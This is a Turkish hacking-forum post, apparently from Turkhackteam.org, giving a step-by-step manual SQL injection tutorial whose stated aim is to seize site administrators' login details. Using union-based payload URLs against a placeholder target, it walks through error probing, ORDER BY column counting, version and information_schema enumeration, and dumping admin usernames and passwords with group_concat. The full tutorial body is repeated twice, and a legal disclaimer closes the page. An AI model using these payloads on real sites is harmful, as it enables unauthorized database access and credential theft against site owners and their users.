SQL Açığı Manuel Bulma

DreamTea

Üye
5 Ocak 2013
84
0
Sql Açığı Manuel Bulma

Sql İnjection Çoğu Zaman s-c-r-i-p-t Kodlamalarında Yanlış Kodlama Sonucunda Oluşan Güvenlik Açığıdır, Bu Açık Sayesinde Admin Bilgilerini Ele Geçirebiliriz.
Yanlış Kodlama Php ve Asp Sistemlerde ID Değerinde Oluşur.

Başlayalım,
Sql Açığı Manuel Bulma

Sql İnjection Çoğu Zaman s-c-r-i-p-t Kodlamalarında Yanlış Kodlama Sonucunda Oluşan Güvenlik Açığıdır, Bu Açık Sayesinde Admin Bilgilerini Ele Geçirebiliriz.
Yanlış Kodlama Php ve Asp Sistemlerde ID Değerinde Oluşur.

Başlayalım,

Hedef Sitemiz ;

Php-Kodu:
Http://Www.hedefite.Org/Show.php?id=4
MySql Injection Hatası Almak İçin ID Değerinin Önüne Tırnak İşareti [****] Koyuyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4'
Tırnağı koyup enter'a bastıktan sonra,

-Başka bir veri ekrana dökülebilir, örneğin ekrandaki bir resimse, başka bir resim, yazıysa başka bir yazı görüntülenebilir.
-Direk Mysql Injection Hatası Alınabilir, Beyaz Bir Ekran ve Orada Mysql injection Kodlarının Oluşturduğu Bir Hata Görüntüsü Alırsınız.
-Direk Sayfa İçinde Herhangi Bir Kısımda Hata Alabilirsiniz.

Neyse, Hatayı Aldık Varsayalım ve Devam Edelim.

Şimdi Komutlar Başlıyor,

"Order By ..." Komutu İle Sitenin Sisteminde Kaç Kolon Var Onu Öğrenmemiz Gerekiyor.

O da Şu Şekilde Olacak ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 1
Order By Komutunun Yanındaki "1" Sayısını Hata Alana Kadar Artırıyoruz, 20, 30'a Kadar Devam Eden Kolon Sayıları Vardır, Yılmayın. :)

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 2
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 3
. . .

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 10
Gibi ~

Hata Kendini Sonunda Belli Eder Zaten, Görürsünüz Evet Bu Hata Dersiniz. Çünkü Artırdığınızda Hep Aynı Şeyler Görülür, Taa ki Hata Alana Kadar.

Onuncu Kolonu Yazdığımızda, Hata Aldığımız Varsayıyorum, Demek ki Kolon Sayımız 9.

Sıra "Union Select ..." Komutuna Geldi, Bu Komutu Öncelikle İşimize Yarayacak Kolon Numaralarını Bulmak İçin Kullanmalıyız.

Union Select Komutunu

Şu Şekilde Kullanacağız ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 union select kaç kolonumuz varsa tek tek virgülle ayırıp yazıyoruz
9 Kolonumuz Olduğunu Varsaydık, O Halde ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,3,4,5,6,7,8,9
Bu şekilde Komutumuzu Gireceğiz,

Küçük Bir İpucu, ID Değerinin Önüne Benim Koyduğum Gibi Tire [-] Koymayı Sakın Unutmayın, Aksi Halde Veri Dökülmeyebilir.

Kolonlarımız Ekrana Vuruldu, Ben 1 ve 3 Vurulsun İstiyorum. Nasılsa Benim Anlatımım

Bu Kolon Sayıları Bizim İşlemi Yapmamızda Ana Etmen. Bütün Verileri Bu Kolonlardan Alacağız Çünkü.

Sırada Version Alma İşlemi Var.

Version Almak İçin Elimizdeki Ekrana Vurulmuş Kolon Sayılarından Herhangi Birini Kullanabiliriz.

Şu Şekilde Yapmalıyız.

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,3,4,5,6,7,8,9
Ben 3 numaralı kolon'u kullanmak İstiyorum , O Halde 3 Yerine "version()" komutunu yazıyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,version(),4,5,6,7,8,9
Enter'a Tıkladığımızda, Ekrana Vurulan 3 Sayısı Version'un kaç Olduğunu Gösterir Bize, Çoğu Zaman Version 5 Olur.

Version'uda Öğrendiğimize Göre Sırada Tablo Adı Alma İşlemleri Var, Ben Yine 3 Numaralı Kolonu Kullanacağım.

Tablo alma işlemini yapmak için;

3 yerine "Table_name" ve sayıların sonuna, "from information_schema.tables" komutunu yazıyoruz.

Şu Şekilde ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables
Çoğu Zaman İlk Kolon Adı CHARACTER_SETS'tir. Diğer Kolon Adları Çoğu Zaman Görünmez, Göstermek İçin Komutların Sonuna "Limit 1,1" Komutu Ekliyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefsite.Org/Show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables limit 1,1
Limit 1,1 komutunu artırarak işimize yarayan tablo adlarını bulabiliriz.

Artırmak için Limit'in önündeki Bir'i (Kırmızı Olarak Belirttiğim) Artırabiliriz.

İşimize Yarayan Tablo İsimleri Neler Olabilir?

Php-Kodu:
Admin, Users, User, Admins, Yonetici, Ayarlar, Config, Yonetim, Login, Logins etc.
Ben Admin Olduğunu Varsayıyorum,

Şimdi Bu Admin'in Kolon Adlarını Bulmak İçin Hex'lememiz Gerekiyor, Hex İşlemini Yapan Siteleri Googleden Bulabilirsiniz

Admin'in Hexlenmiş Hali ;
Php-Kodu:
61646d696e
Şimdi Admin Tablosu Adı Altındaki Kolonları Çekebiliriz.

Kolon Adlarını Çekmek İçin Yine 3. Kolon'umuzu Kullanacağım.

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e
Yani, Table ve Tables Değerlerini Column ve Columns ile Değiştireceğiz ve En Sona Limit 1,1 Komutunu Silere where table_name=0xHex'imizi yazacağız.
Hex'lenmiş Tablo Adının Önüne 0x Koymayı Sakın Unutmayın.

İlk Kolon Adımız Geldi . "ID" Olduğunu Varsayalım, Bu Bizim İşimize Yaramaz, Komutların Sonuna "Limit 1 Offset 1" Komutunu Yazarak ve Offset'i Artırarak İşimize Yarayacak Kolon Adlarını Bulabiliriz.

İşimize Yarayan Kolon Adları Neler Olabilir?

Kullanıcı Adları İçin;
Php-Kodu:
Kadi, User, Username, Usr, Name, Uname, Login etc.
Password İçin;
Php-Kodu:
Password, Passwd, Pass etc.
Ben İşimize Yarayacak Kolon Adlarının "Username ve Password" Olduklarını Varsayıyorum.

Kolon Adlarınıda Bulduğumuza Göre İşimiz Son Olarak Veri Çekmeye Kaldı.

Verimizi Çekmek İçin İşimize Yarayan Kolon Numaralarına, Yani 1 ve 3'e "group_concat(KolonAdı)" komutunu yazacağız.

Şu Şekilde Olacak ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select group_concat(Kolon Adı),2,group_concat(Kolon Adı),4,5,6,7,8,9 from Tablo Adımız
Yani ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select group_concat(Username),2,group_concat(Password),4, 5,6,7,8,9 from Admin
Bu şekilde yaptığımız takdirde tüm admin bilgileri önümüze düşecektir.
Hedef Sitemiz ;

Php-Kodu:
Http://Www.hedefite.Org/Show.php?id=4
MySql Injection Hatası Almak İçin ID Değerinin Önüne Tırnak İşareti [****] Koyuyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4'
Tırnağı koyup enter'a bastıktan sonra,

-Başka bir veri ekrana dökülebilir, örneğin ekrandaki bir resimse, başka bir resim, yazıysa başka bir yazı görüntülenebilir.
-Direk Mysql Injection Hatası Alınabilir, Beyaz Bir Ekran ve Orada Mysql injection Kodlarının Oluşturduğu Bir Hata Görüntüsü Alırsınız.
-Direk Sayfa İçinde Herhangi Bir Kısımda Hata Alabilirsiniz.

Neyse, Hatayı Aldık Varsayalım ve Devam Edelim.

Şimdi Komutlar Başlıyor,

"Order By ..." Komutu İle Sitenin Sisteminde Kaç Kolon Var Onu Öğrenmemiz Gerekiyor.

O da Şu Şekilde Olacak ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 1
Order By Komutunun Yanındaki "1" Sayısını Hata Alana Kadar Artırıyoruz, 20, 30'a Kadar Devam Eden Kolon Sayıları Vardır, Yılmayın. :)

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 2
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 3
. . .

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 10
Gibi ~

Hata Kendini Sonunda Belli Eder Zaten, Görürsünüz Evet Bu Hata Dersiniz. Çünkü Artırdığınızda Hep Aynı Şeyler Görülür, Taa ki Hata Alana Kadar.

Onuncu Kolonu Yazdığımızda, Hata Aldığımız Varsayıyorum, Demek ki Kolon Sayımız 9.

Sıra "Union Select ..." Komutuna Geldi, Bu Komutu Öncelikle İşimize Yarayacak Kolon Numaralarını Bulmak İçin Kullanmalıyız.

Union Select Komutunu

Şu Şekilde Kullanacağız ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 union select kaç kolonumuz varsa tek tek virgülle ayırıp yazıyoruz
9 Kolonumuz Olduğunu Varsaydık, O Halde ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,3,4,5,6,7,8,9
Bu şekilde Komutumuzu Gireceğiz,

Küçük Bir İpucu, ID Değerinin Önüne Benim Koyduğum Gibi Tire [-] Koymayı Sakın Unutmayın, Aksi Halde Veri Dökülmeyebilir.

Kolonlarımız Ekrana Vuruldu, Ben 1 ve 3 Vurulsun İstiyorum. Nasılsa Benim Anlatımım

Bu Kolon Sayıları Bizim İşlemi Yapmamızda Ana Etmen. Bütün Verileri Bu Kolonlardan Alacağız Çünkü.

Sırada Version Alma İşlemi Var.

Version Almak İçin Elimizdeki Ekrana Vurulmuş Kolon Sayılarından Herhangi Birini Kullanabiliriz.

Şu Şekilde Yapmalıyız.

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,3,4,5,6,7,8,9
Ben 3 numaralı kolon'u kullanmak İstiyorum , O Halde 3 Yerine "version()" komutunu yazıyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,version(),4,5,6,7,8,9
Enter'a Tıkladığımızda, Ekrana Vurulan 3 Sayısı Version'un kaç Olduğunu Gösterir Bize, Çoğu Zaman Version 5 Olur.

Version'uda Öğrendiğimize Göre Sırada Tablo Adı Alma İşlemleri Var, Ben Yine 3 Numaralı Kolonu Kullanacağım.

Tablo alma işlemini yapmak için;

3 yerine "Table_name" ve sayıların sonuna, "from information_schema.tables" komutunu yazıyoruz.

Şu Şekilde ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables
Çoğu Zaman İlk Kolon Adı CHARACTER_SETS'tir. Diğer Kolon Adları Çoğu Zaman Görünmez, Göstermek İçin Komutların Sonuna "Limit 1,1" Komutu Ekliyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefsite.Org/Show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables limit 1,1
Limit 1,1 komutunu artırarak işimize yarayan tablo adlarını bulabiliriz.

Artırmak için Limit'in önündeki Bir'i (Kırmızı Olarak Belirttiğim) Artırabiliriz.

İşimize Yarayan Tablo İsimleri Neler Olabilir?

Php-Kodu:
Admin, Users, User, Admins, Yonetici, Ayarlar, Config, Yonetim, Login, Logins etc.
Ben Admin Olduğunu Varsayıyorum,

Şimdi Bu Admin'in Kolon Adlarını Bulmak İçin Hex'lememiz Gerekiyor, Hex İşlemini Yapan Siteleri Googleden Bulabilirsiniz

Admin'in Hexlenmiş Hali ;
Php-Kodu:
61646d696e
Şimdi Admin Tablosu Adı Altındaki Kolonları Çekebiliriz.

Kolon Adlarını Çekmek İçin Yine 3. Kolon'umuzu Kullanacağım.

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e
Yani, Table ve Tables Değerlerini Column ve Columns ile Değiştireceğiz ve En Sona Limit 1,1 Komutunu Silere where table_name=0xHex'imizi yazacağız.
Hex'lenmiş Tablo Adının Önüne 0x Koymayı Sakın Unutmayın.

İlk Kolon Adımız Geldi . "ID" Olduğunu Varsayalım, Bu Bizim İşimize Yaramaz, Komutların Sonuna "Limit 1 Offset 1" Komutunu Yazarak ve Offset'i Artırarak İşimize Yarayacak Kolon Adlarını Bulabiliriz.

İşimize Yarayan Kolon Adları Neler Olabilir?

Kullanıcı Adları İçin;
Php-Kodu:
Kadi, User, Username, Usr, Name, Uname, Login etc.
Password İçin;
Php-Kodu:
Password, Passwd, Pass etc.
Ben İşimize Yarayacak Kolon Adlarının "Username ve Password" Olduklarını Varsayıyorum.

Kolon Adlarınıda Bulduğumuza Göre İşimiz Son Olarak Veri Çekmeye Kaldı.

Verimizi Çekmek İçin İşimize Yarayan Kolon Numaralarına, Yani 1 ve 3'e "group_concat(KolonAdı)" komutunu yazacağız.

Şu Şekilde Olacak ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select group_concat(Kolon Adı),2,group_concat(Kolon Adı),4,5,6,7,8,9 from Tablo Adımız
Yani ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select group_concat(Username),2,group_concat(Password),4, 5,6,7,8,9 from Admin
Bu şekilde yaptığımız takdirde tüm admin bilgileri önümüze düşecektir.


----------
Alıntıdır
----------
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.